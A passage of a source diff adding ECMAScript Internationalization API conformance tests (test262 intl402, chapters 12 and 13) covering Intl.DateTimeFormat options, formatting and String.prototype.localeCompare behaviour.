+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.supportedLocalesOf
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.DateTimeFormat.supportedLocalesOf, true, false, [], 1);
+
diff --git a/js/src/tests/test262/intl402/ch12/12.2/12.2.2_a.js b/js/src/tests/test262/intl402/ch12/12.2/12.2.2_a.js
new file mode 100644
index 000000000..42eedc0a1
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/12.2.2_a.js
@@ -0,0 +1,28 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat has a supportedLocalesOf
+ * property, and it works as planned.
+ * @author: Roozbeh Pournader
+ */
+
+var defaultLocale = new Intl.DateTimeFormat().resolvedOptions().locale;
+var notSupported = 'zxx'; // "no linguistic content"
+var requestedLocales = [defaultLocale, notSupported];
+
+var supportedLocales;
+
+if (!Intl.DateTimeFormat.hasOwnProperty('supportedLocalesOf')) {
+ $ERROR("Intl.DateTimeFormat doesn't have a supportedLocalesOf property.");
+}
+
+supportedLocales = Intl.DateTimeFormat.supportedLocalesOf(requestedLocales);
+if (supportedLocales.length !== 1) {
+ $ERROR('The length of supported locales list is not 1.');
+}
+
+if (supportedLocales[0] !== defaultLocale) {
+ $ERROR('The default locale is not returned in the supported list.');
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.2/12.2.2_b.js b/js/src/tests/test262/intl402/ch12/12.2/12.2.2_b.js
new file mode 100644
index 000000000..06bc8027e
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/12.2.2_b.js
@@ -0,0 +1,13 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.supportedLocalesOf
+ * doesn't access arguments that it's not given.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintDataProperty(Object.prototype, "1");
+new Intl.DateTimeFormat("und");
diff --git a/js/src/tests/test262/intl402/ch12/12.2/12.2.3_b.js b/js/src/tests/test262/intl402/ch12/12.2/12.2.3_b.js
new file mode 100644
index 000000000..65fd9dc5f
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/12.2.3_b.js
@@ -0,0 +1,47 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat does not accept Unicode locale
+ * extension keys and values that are not allowed.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var locales = ["ja-JP", "zh-Hans-CN", "zh-Hant-TW"];
+var input = new Date(Date.parse("1989-11-09T17:57:00Z"));
+
+locales.forEach(function (locale) {
+ var defaultDateTimeFormat = new Intl.DateTimeFormat([locale]);
+ var defaultOptions = defaultDateTimeFormat.resolvedOptions();
+ var defaultOptionsJSON = JSON.stringify(defaultOptions);
+ var defaultLocale = defaultOptions.locale;
+ var defaultFormatted = defaultDateTimeFormat.format(input);
+
+ var keyValues = {
+ "cu": ["USD", "EUR", "JPY", "CNY", "TWD", "invalid"], // DateTimeFormat internally uses NumberFormat
+ "nu": ["native", "traditio", "finance", "invalid"],
+ "tz": ["usnavajo", "utcw01", "aumel", "uslax", "usnyc", "deber", "invalid"]
+ };
+
+ Object.getOwnPropertyNames(keyValues).forEach(function (key) {
+ keyValues[key].forEach(function (value) {
+ var dateTimeFormat = new Intl.DateTimeFormat([locale + "-u-" + key + "-" + value]);
+ var options = dateTimeFormat.resolvedOptions();
+ if (options.locale !== defaultLocale) {
+ $ERROR("Locale " + options.locale + " is affected by key " +
+ key + "; value " + value + ".");
+ }
+ if (JSON.stringify(options) !== defaultOptionsJSON) {
+ $ERROR("Resolved options " + JSON.stringify(options) + " are affected by key " +
+ key + "; value " + value + ".");
+ }
+ if (defaultFormatted !== dateTimeFormat.format(input)) {
+ $ERROR("Formatted value " + dateTimeFormat.format(input) + " is affected by key " +
+ key + "; value " + value + ".");
+ }
+ });
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.2/12.2.3_c.js b/js/src/tests/test262/intl402/ch12/12.2/12.2.3_c.js
new file mode 100644
index 000000000..0aced6ca9
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/12.2.3_c.js
@@ -0,0 +1,52 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat provides the required date-time
+ * format component subsets.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var locales = ["de-DE", "en-US", "hi-IN", "id-ID", "ja-JP", "th-TH", "zh-Hans-CN", "zh-Hant-TW", "zxx"];
+var subsets = [
+ {weekday: "long", year: "numeric", month: "numeric", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric"},
+ {weekday: "long", year: "numeric", month: "numeric", day: "numeric"},
+ {year: "numeric", month: "numeric", day: "numeric"},
+ {year: "numeric", month: "numeric"},
+ {month: "numeric", day: "numeric"},
+ {hour: "numeric", minute: "numeric", second: "numeric"},
+ {hour: "numeric", minute: "numeric"}
+];
+
+locales.forEach(function (locale) {
+ subsets.forEach(function (subset) {
+ var format = new Intl.DateTimeFormat([locale], subset);
+ var actual = format.resolvedOptions();
+ getDateTimeComponents().forEach(function (component) {
+ if (actual.hasOwnProperty(component)) {
+ if (!subset.hasOwnProperty(component)) {
+ $ERROR("Unrequested component " + component +
+ " added to requested subset " + JSON.stringify(subset) +
+ "; locale " + locale + ".");
+ }
+ try {
+ testValidDateTimeComponentValue(component, actual[component]);
+ } catch (e) {
+ e.message += " (Testing locale " + locale + "; subset " +
+ JSON.stringify(subset) + ")";
+ throw e;
+ }
+ } else {
+ if (subset.hasOwnProperty(component)) {
+ $ERROR("Missing component " + component +
+ " from requested subset " + JSON.stringify(subset) +
+ "; locale " + locale + ".");
+ }
+ }
+ });
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.2/browser.js b/js/src/tests/test262/intl402/ch12/12.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/browser.js
diff --git a/js/src/tests/test262/intl402/ch12/12.2/shell.js b/js/src/tests/test262/intl402/ch12/12.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.2/shell.js
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.1.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.1.js
new file mode 100644
index 000000000..1755dd64b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.1.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.prototype.constructor is the
+ * Intl.DateTimeFormat.
+ * @author: Roozbeh Pournader
+ */
+
+if (Intl.DateTimeFormat.prototype.constructor !== Intl.DateTimeFormat) {
+ $ERROR("Intl.DateTimeFormat.prototype.constructor is not the same as " +
+ "Intl.DateTimeFormat");
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_a_L15.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_a_L15.js
new file mode 100644
index 000000000..2fb768d09
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_a_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the function returned by Intl.DateTimeFormat.prototype.format
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(new Intl.DateTimeFormat().format, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_c.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_c.js
new file mode 100644
index 000000000..d4b9f891f
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_c.js
@@ -0,0 +1,34 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that format function is bound to its Intl.DateTimeFormat.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var dates = [new Date(), new Date(0), new Date(Date.parse("1989-11-09T17:57:00Z"))];
+var locales = [undefined, ["de"], ["th-u-ca-gregory-nu-thai"], ["en"], ["ja-u-ca-japanese"], ["ar-u-ca-islamicc-nu-arab"]];
+var options = [
+ undefined,
+ {hour12: false},
+ {month: "long", day: "numeric", hour: "2-digit", minute: "2-digit"}
+];
+
+locales.forEach(function (locales) {
+ options.forEach(function (options) {
+ var formatObj = new Intl.DateTimeFormat(locales, options);
+ var formatFunc = formatObj.format;
+ dates.forEach(function (date) {
+ var referenceFormatted = formatObj.format(date);
+ var formatted = formatFunc(date);
+ if (referenceFormatted !== formatted) {
+ $ERROR("format function produces different result than format method for locales " +
+ locales + "; options: " + (options ? JSON.stringify(options) : options) +
+ " : " + formatted + " vs. " + referenceFormatted + ".");
+ }
+ });
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_1.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_1.js
new file mode 100644
index 000000000..d643d7928
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_1.js
@@ -0,0 +1,26 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that format handles non-finite values correctly.
+ * @author Norbert Lindenberg
+ */
+
+var invalidValues = [NaN, Infinity, -Infinity];
+
+var format = new Intl.DateTimeFormat();
+
+invalidValues.forEach(function (value) {
+ var error;
+ try {
+ var result = format.format(value);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid value " + value + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid value " + value + " was rejected with wrong error " + error.name + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_7_a_iv.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_7_a_iv.js
new file mode 100644
index 000000000..f13878403
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_7_a_iv.js
@@ -0,0 +1,32 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that format uses a proleptic Gregorian calendar with no year 0.
+ * @author Norbert Lindenberg
+ */
+
+var dates = [
+ 0, // January 1, 1970
+ -62151602400000, // in June 1 BC
+ -8640000000000000 // beginning of ECMAScript time
+];
+
+var format = new Intl.DateTimeFormat(["en-US"], {year: "numeric", month: "long", timeZone: "UTC"});
+
+// this test requires a Gregorian calendar, which we usually find in the US
+if (format.resolvedOptions().calendar !== "gregory") {
+ $ERROR("Internal error: Didn't find Gregorian calendar");
+}
+
+dates.forEach(function (date) {
+ var year = new Date(date).getUTCFullYear();
+ var expectedYear = year <= 0 ? 1 - year : year;
+ var expectedYearString = expectedYear.toLocaleString(["en-US"], {useGrouping: false});
+ var dateString = format.format(date);
+ if (dateString.indexOf(expectedYearString) === -1) {
+ $ERROR("Formatted year doesn't contain expected year – expected " +
+ expectedYearString + ", got " + dateString + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.2_L15.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_L15.js
new file mode 100644
index 000000000..73d309e26
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the getter for Intl.DateTimeFormat.prototype.format
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format").get , true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.2_TLT_2.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_TLT_2.js
new file mode 100644
index 000000000..bf0a8ed36
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.2_TLT_2.js
@@ -0,0 +1,16 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a Record is not affected by adversarial
+ * changes to Object.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintProperties(["weekday", "era", "year", "month", "day", "hour", "minute", "second", "inDST"]);
+
+var format = new Intl.DateTimeFormat();
+var time = format.format();
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.3.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.3.js
new file mode 100644
index 000000000..b5735c350
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.3.js
@@ -0,0 +1,52 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the object returned by Intl.DateTimeFormat.prototype.resolvedOptions
+ * has the right properties.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var actual = new Intl.DateTimeFormat().resolvedOptions();
+
+var actual2 = new Intl.DateTimeFormat().resolvedOptions();
+if (actual2 === actual) {
+ $ERROR("resolvedOptions returned the same object twice.");
+}
+
+// source: CLDR file common/bcp47/calendar.xml; version CLDR 21.
+var calendars = [
+ "buddhist",
+ "chinese",
+ "coptic",
+ "ethioaa",
+ "ethiopic",
+ "gregory",
+ "hebrew",
+ "indian",
+ "islamic",
+ "islamicc",
+ "iso8601",
+ "japanese",
+ "persian",
+ "roc"
+];
+
+// this assumes the default values where the specification provides them
+mustHaveProperty(actual, "locale", isCanonicalizedStructurallyValidLanguageTag);
+mustHaveProperty(actual, "calendar", calendars);
+mustHaveProperty(actual, "numberingSystem", isValidNumberingSystem);
+mustHaveProperty(actual, "timeZone", [undefined]);
+mustNotHaveProperty(actual, "weekday");
+mustNotHaveProperty(actual, "era");
+mustHaveProperty(actual, "year", ["2-digit", "numeric"]);
+mustHaveProperty(actual, "month", ["2-digit", "numeric", "narrow", "short", "long"]);
+mustHaveProperty(actual, "day", ["2-digit", "numeric"]);
+mustNotHaveProperty(actual, "hour");
+mustNotHaveProperty(actual, "minute");
+mustNotHaveProperty(actual, "second");
+mustNotHaveProperty(actual, "timeZoneName");
+mustNotHaveProperty(actual, "hour12");
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3.3_L15.js b/js/src/tests/test262/intl402/ch12/12.3/12.3.3_L15.js
new file mode 100644
index 000000000..1b4079ebe
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3.3_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.prototype.resolvedOptions
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.DateTimeFormat.prototype.resolvedOptions, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3_L15.js b/js/src/tests/test262/intl402/ch12/12.3/12.3_L15.js
new file mode 100644
index 000000000..55f1c16ca
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.prototype
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.DateTimeFormat.prototype, false, false, ["constructor", "format", "resolvedOptions"]);
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3_a.js b/js/src/tests/test262/intl402/ch12/12.3/12.3_a.js
new file mode 100644
index 000000000..e1d795b91
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3_a.js
@@ -0,0 +1,16 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.prototype is an object that
+ * has been initialized as an Intl.DateTimeFormat.
+ * @author: Roozbeh Pournader
+ */
+
+// test by calling a function that would fail if "this" were not an object
+// initialized as an Intl.DateTimeFormat
+if (typeof Intl.DateTimeFormat.prototype.format(0) !== "string") {
+ $ERROR("Intl.DateTimeFormat's prototype is not an object that has been " +
+ "initialized as an Intl.DateTimeFormat");
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/12.3_b.js b/js/src/tests/test262/intl402/ch12/12.3/12.3_b.js
new file mode 100644
index 000000000..d905bf571
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/12.3_b.js
@@ -0,0 +1,33 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat.prototype functions throw a
+ * TypeError if called on a non-object value or an object that hasn't been
+ * initialized as a DateTimeFormat.
+ * @author Norbert Lindenberg
+ */
+
+var functions = {
+ "format getter": Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format").get,
+ resolvedOptions: Intl.DateTimeFormat.prototype.resolvedOptions
+};
+var invalidTargets = [undefined, null, true, 0, "DateTimeFormat", [], {}];
+
+Object.getOwnPropertyNames(functions).forEach(function (functionName) {
+ var f = functions[functionName];
+ invalidTargets.forEach(function (target) {
+ var error;
+ try {
+ f.call(target);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Calling " + functionName + " on " + target + " was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Calling " + functionName + " on " + target + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch12/12.3/browser.js b/js/src/tests/test262/intl402/ch12/12.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/browser.js
diff --git a/js/src/tests/test262/intl402/ch12/12.3/shell.js b/js/src/tests/test262/intl402/ch12/12.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.3/shell.js
diff --git a/js/src/tests/test262/intl402/ch12/12.4/12.4_a.js b/js/src/tests/test262/intl402/ch12/12.4/12.4_a.js
new file mode 100644
index 000000000..8e8d5954c
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.4/12.4_a.js
@@ -0,0 +1,15 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.DateTimeFormat instances have the specified properties.
+ * @author Norbert Lindenberg
+ */
+
+var obj = new Intl.DateTimeFormat();
+
+var toStringValue = Object.prototype.toString.call(obj);
+if (toStringValue !== "[object Object]") {
+ $ERROR("Intl.DateTimeFormat instance produces wrong [[Class]] - toString returns " + toStringValue + ".");
+}
+
diff --git a/js/src/tests/test262/intl402/ch12/12.4/browser.js b/js/src/tests/test262/intl402/ch12/12.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.4/browser.js
diff --git a/js/src/tests/test262/intl402/ch12/12.4/shell.js b/js/src/tests/test262/intl402/ch12/12.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/12.4/shell.js
diff --git a/js/src/tests/test262/intl402/ch12/browser.js b/js/src/tests/test262/intl402/ch12/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/browser.js
diff --git a/js/src/tests/test262/intl402/ch12/shell.js b/js/src/tests/test262/intl402/ch12/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch12/shell.js
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_1.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_1.js
new file mode 100644
index 000000000..37be9711b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_1.js
@@ -0,0 +1,24 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that localeCompare rejects values that can't be coerced to an object.
+ * @author Norbert Lindenberg
+ */
+
+var invalidValues = [undefined, null];
+
+invalidValues.forEach(function (value) {
+ var error;
+ try {
+ var result = String.prototype.localeCompare.call(value, "");
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("String.prototype.localeCompare did not reject this = " + value + ".");
+ } else if (error.name !== "TypeError") {
+ $ERROR("String.prototype.localeCompare rejected this = " + value + " with wrong error " + error.name + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_2.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_2.js
new file mode 100644
index 000000000..bad7c0fdd
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_2.js
@@ -0,0 +1,26 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that localeCompare coerces this to a string.
+ * @author Norbert Lindenberg
+ */
+
+var thisValues = [true, 5, "hello", {toString: function () { return "good bye"; }}];
+var thatValues = ["true", "5", "hello", "good bye"];
+
+var i;
+for (i = 0; i < thisValues.length; i++) {
+ var j;
+ for (j = 0; j < thatValues.length; j++) {
+ var result = String.prototype.localeCompare.call(thisValues[i], thatValues[j]);
+ if ((result === 0) !== (i === j)) {
+ if (result === 0) {
+ $ERROR("localeCompare treats " + thisValues[i] + " and " + thatValues[j] + " as equal.");
+ } else {
+ $ERROR("localeCompare treats " + thisValues[i] + " and " + thatValues[j] + " as different.");
+ }
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_1.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_1.js
new file mode 100644
index 000000000..113a2d9aa
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_1.js
@@ -0,0 +1,26 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that localeCompare coerces that to a string.
+ * @author Norbert Lindenberg
+ */
+
+var thisValues = ["true", "5", "hello", "good bye"];
+var thatValues = [true, 5, "hello", {toString: function () { return "good bye"; }}];
+
+var i;
+for (i = 0; i < thisValues.length; i++) {
+ var j;
+ for (j = 0; j < thatValues.length; j++) {
+ var result = String.prototype.localeCompare.call(thisValues[i], thatValues[j]);
+ if ((result === 0) !== (i === j)) {
+ if (result === 0) {
+ $ERROR("localeCompare treats " + thisValues[i] + " and " + thatValues[j] + " as equal.");
+ } else {
+ $ERROR("localeCompare treats " + thisValues[i] + " and " + thatValues[j] + " as different.");
+ }
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_2.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_2.js
new file mode 100644
index 000000000..441166c9f
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_2.js
@@ -0,0 +1,22 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that String.prototype.localeCompare treats a missing
+ * "that" argument, undefined, and "undefined" as equivalent.
+ * @author Norbert Lindenberg
+ */
+
+var thisValues = ["a", "t", "u", "undefined", "UNDEFINED", "nicht definiert", "xyz", "未定义"];
+
+var i;
+for (i = 0; i < thisValues.length; i++) {
+ var thisValue = thisValues[i];
+ if (thisValue.localeCompare() !== thisValue.localeCompare(undefined)) {
+ $ERROR("String.prototype.localeCompare does not treat missing 'that' argument as undefined.");
+ }
+ if (thisValue.localeCompare(undefined) !== thisValue.localeCompare("undefined")) {
+ $ERROR("String.prototype.localeCompare does not treat undefined 'that' argument as \"undefined\".");
+ }
+}
+
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_1.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_1.js
new file mode 100644
index 000000000..30607d317
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_1.js
@@ -0,0 +1,65 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that String.prototype.localeCompare throws the same exceptions as Intl.Collator.
+ * @author Norbert Lindenberg
+ */
+
+var locales = [null, [NaN], ["i"], ["de_DE"]];
+var options = [
+ {localeMatcher: null},
+ {usage: "invalid"},
+ {sensitivity: "invalid"}
+];
+
+locales.forEach(function (locales) {
+ var referenceError, error;
+ try {
+ var collator = new Intl.Collator(locales);
+ } catch (e) {
+ referenceError = e;
+ }
+ if (referenceError === undefined) {
+ $ERROR("Internal error: Expected exception was not thrown by Intl.Collator for locales " + locales + ".");
+ }
+
+ try {
+ var result = "".localeCompare("", locales);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("String.prototype.localeCompare didn't throw exception for locales " + locales + ".");
+ } else if (error.name !== referenceError.name) {
+ $ERROR("String.prototype.localeCompare threw exception " + error.name +
+ " for locales " + locales + "; expected " + referenceError.name + ".");
+ }
+});
+
+options.forEach(function (options) {
+ var referenceError, error;
+ try {
+ var collator = new Intl.Collator([], options);
+ } catch (e) {
+ referenceError = e;
+ }
+ if (referenceError === undefined) {
+ $ERROR("Internal error: Expected exception was not thrown by Intl.Collator for options " +
+ JSON.stringify(options) + ".");
+ }
+
+ try {
+ var result = "".localeCompare("", [], options);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("String.prototype.localeCompare didn't throw exception for options " +
+ JSON.stringify(options) + ".");
+ } else if (error.name !== referenceError.name) {
+ $ERROR("String.prototype.localeCompare threw exception " + error.name +
+ " for options " + JSON.stringify(options) + "; expected " + referenceError.name + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_2.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_2.js
new file mode 100644
index 000000000..481a7803b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_2.js
@@ -0,0 +1,13 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that String.prototype.localeCompare uses the standard
+ * built-in Intl.Collator constructor.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintDataProperty(Intl, "Collator");
+"a".localeCompare("b");
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_7.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_7.js
new file mode 100644
index 000000000..f0c588f64
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_7.js
@@ -0,0 +1,33 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that localeCompare produces the same results as Intl.Collator.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var strings = ["d", "O", "od", "oe", "of", "ö", "o\u0308", "X", "y", "Z", "Z.", "𠮷野家", "吉野家", "!A", "A", "b", "C"];
+var locales = [undefined, ["de"], ["de-u-co-phonebk"], ["en"], ["ja"], ["sv"]];
+var options = [
+ undefined,
+ {usage: "search"},
+ {sensitivity: "base", ignorePunctuation: true}
+];
+
+locales.forEach(function (locales) {
+ options.forEach(function (options) {
+ var referenceCollator = new Intl.Collator(locales, options);
+ var referenceSorted = strings.slice().sort(referenceCollator.compare);
+
+ strings.sort(function (a, b) { return a.localeCompare(b, locales, options); });
+ try {
+ testArraysAreSame(referenceSorted, strings);
+ } catch (e) {
+ e.message += " (Testing with locales " + locales + "; options " + JSON.stringify(options) + ".)";
+ throw e;
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.1/13.1.1_L15.js b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_L15.js
new file mode 100644
index 000000000..d921de000
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/13.1.1_L15.js
@@ -0,0 +1,14 @@
